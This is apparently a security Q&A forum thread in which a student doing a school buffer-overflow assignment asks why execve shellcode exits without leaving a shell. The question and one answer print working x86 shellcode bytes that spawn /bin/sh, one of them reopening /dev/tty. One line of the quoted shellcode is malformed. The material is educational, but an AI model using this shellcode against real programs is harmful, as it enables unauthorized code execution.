4

In school I was given an assignment to perform a buffer overflow, which would execute some shellcode and open a new shell. After a bit of fiddling the buffer overflow succeeded, and when I ran the exploit in GDB it says that the program is executing /bin/dash, and then the program I was exploiting exited normally, leaving me with no shell.

When running the test program for the exploit, it runs just fine and gives me a shell as it's supposed to. When I try to use the shellcode to actually exploit another program it runs fine, I get no faults, but neither does it spawn a new shell. I have tried modding the shellcode so that it runs files I've compiled myself, although I have only tried with a few simple ones which print the hostname, and this works fine. If I added system("/bin/sh"); to such a file, it still doesn't spawn a shell as I wish.

When I single step through the shellcode with GDB I see that the vulnerable program I am exploiting exits right after executing the int 0x80 instruction. My question here is two-fold: Why does it exit here, and what can I do to prevent it, thus spawning a new shell which I can use?

Here is the shellcode I use:

"\x6a\x0b" // push byte +0xb
"\x58" // pop eax
"\x99" // cdq
"\x52" // push edx
\x68\x2f\x2f\x73\x68" // push dword 0x68732f2f (hs//)
"\x90" //nop
"\x90" //nop
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69922f (nib/)
"\x89\xe3" // mov ebx, esp
"\x31\xc9" // xor ecx, ecx
"\xcd\x80" // int 0x80 
"\x90" //nop
"\x90" //nop
"\x90" //nop
"\xeb\xfb"; //jmp -4

The shellcode I use can be found here, so credit for this goes to ipv.

EscalatedQuickly
  • 153
  • 1
  • 8

3 Answers3

8

If you are running this from the command line, and you are using the < to feed the shellcode from a file, the shell will immediately terminate when it reaches the end of input. If you want it to remain keyboard interactive, do this:

cat shellcode.hex - | ./vulnerable_program

The - is stdin (keyboard input in this case), so you can type as you wish after that.

lintile
  • 81
  • 1
  • 2
1

Use shellcode which reopens the inputs. For example, this 58-byte modified version of Marco Ivaldi's code does this trick:

"\x83\xc4\x10\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

More information can be found here.

Community
  • 1
Aralox
  • 111
  • 3
1

Since /bin/sh is actually another process, gdb is unable to debug that branched process. But it doesn't sound like you actually need to be debugging /bin/sh since you are just running shellcode. Actually seeing that your exploit can make another process start should indicate that your exploit was successful. You could also check out this post as well: https://stackoverflow.com/questions/2859127/shellcode-for-a-simple-stack-overflow-exploited-program-with-shell-terminates-d

Community
  • 1
user1786575
  • 11
  • 1